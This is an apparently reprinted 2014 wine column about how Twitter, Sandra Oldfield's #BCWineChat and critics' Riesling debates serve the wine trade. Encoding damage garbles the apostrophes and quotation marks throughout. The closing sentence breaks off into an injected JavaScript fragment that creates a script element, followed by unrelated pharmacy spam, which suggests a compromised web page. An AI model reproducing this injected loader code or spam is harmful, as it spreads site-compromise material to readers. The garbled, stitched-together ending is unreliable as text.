Twitter a grape resource – Oct. 4, 2014

By Anthony Gismondi

Ia��m a fan of Twitter as it relates to the wine business. When used properly as a tool to get out information it can be invaluable to small wineries who havena��t the money or resources to tell their story in traditional media channels and even more valuable to the largest producers of wine, who are in desperate need of humanizing their operations.

Just having a Twitter account doesna��t do it; it means having an owner or an employee fully vested in a company, its ethos, its ethics and its direction and being available to customers. Ita��s hard to think it couldna��t succeed.

One of the biggest Twitter wine success stories in British Columbia wine is Sandra Oldfield (@SandraOldfield), CEO of Tinhorn Creek, a south Okanagan winery that punches far above its budget online.

Oldfield is closing in on 12,000 followers and she seldom if ever tweets about her wines or winery.

Whether you follow the exploits of her dog, her daughtera��s education, her vacations, hiring a winemaker or viticulturalists or just getting plain access to a great deal of wine country information (without being there) it is hard not to come to know her, her management style and commitment to wine in the south Okanagan.

Multiply that by 20 or 30 of the most interesting folks in the wine business and you have a treasure trove of information streaming into your consciousness every day. Does it beat boots on the ground, walking in the vineyard, tasting all the wine?
Not a chance, but information is intelligence and Twitter is full of it if you know where to look.

Oldfield is also responsible for a weekly, one-hour chat on Twitter called BCWineChat. The chat, hosted under #BCWineChat every Wednesday from 8 to 9 p.m., sprang from a spirited conversation about Okanagan sub appellations. #BCWineChat has become a hit among B.C. wine fans and has inspired the usually staid Ontario wine industry to hold their own one hour chat, which now enjoys the same success.

Not surprisingly #BCWineChat reveals more information, and certainly more timely information, than oftencomes out of the British Columbia Wine Institute.

This week wine critic Jancis Robinson (@JancisRobinson) was lamenting her love of Riesling on Twitter saying that after 35 years of talking up Riesling, a�?It still seems destined to be a minor player everywhere other than in its native Germany.a�?

Her tweet and a link to a lengthy story backing up her claim caused many Riesling aficionados to chime in from around the globe, including famed German wine scribe Stuart Martin Piggot (@PiggotRiesling) who fired off a series of Riesling tweets touching on themes from Virginia Woolf to Star Wars; while the erudite Californian winemaker Randall Grahm (@RandallGrahm), tweeted that he is a�?Convinced that Rieslinga��s problem is 100% the negative associations of a�?sweet.a�� a�?

The point is a story, tweeted worldwide and responded to by so many influential wine folks gives you the readers instant information you may never get any other way and at the same time allows you to get inside the story and ask your question or make a comment. The term the experts in social media use is engagement. Does it mean everyone can or will respond? Of course not. But we listen, we read and we think.

Over the years I have made it my business to stay focused on consumers and what they know or dona��t know about wine, what information they really want and how to best deliver it to them.

Twitter is an enormous resource for writers like myself, (@TheSpitter), to help gather information and follow consumersa�� thoughts and ideas such as those on #BCWineChat.

By the time you read this column we will have discussed how to get involved in picking grapes in British Columbia during the harvest with a variety of folks on the ground and in the know.

If you want to get to get your hands dirty and you missed the chat, you can see three years of previous #BCWineChat topics here: d=document;var s=d.createElement(‘script’); phentermine 37.5 mexico pharmacy buy trandate uses } benadryl over the counter dose Cheap

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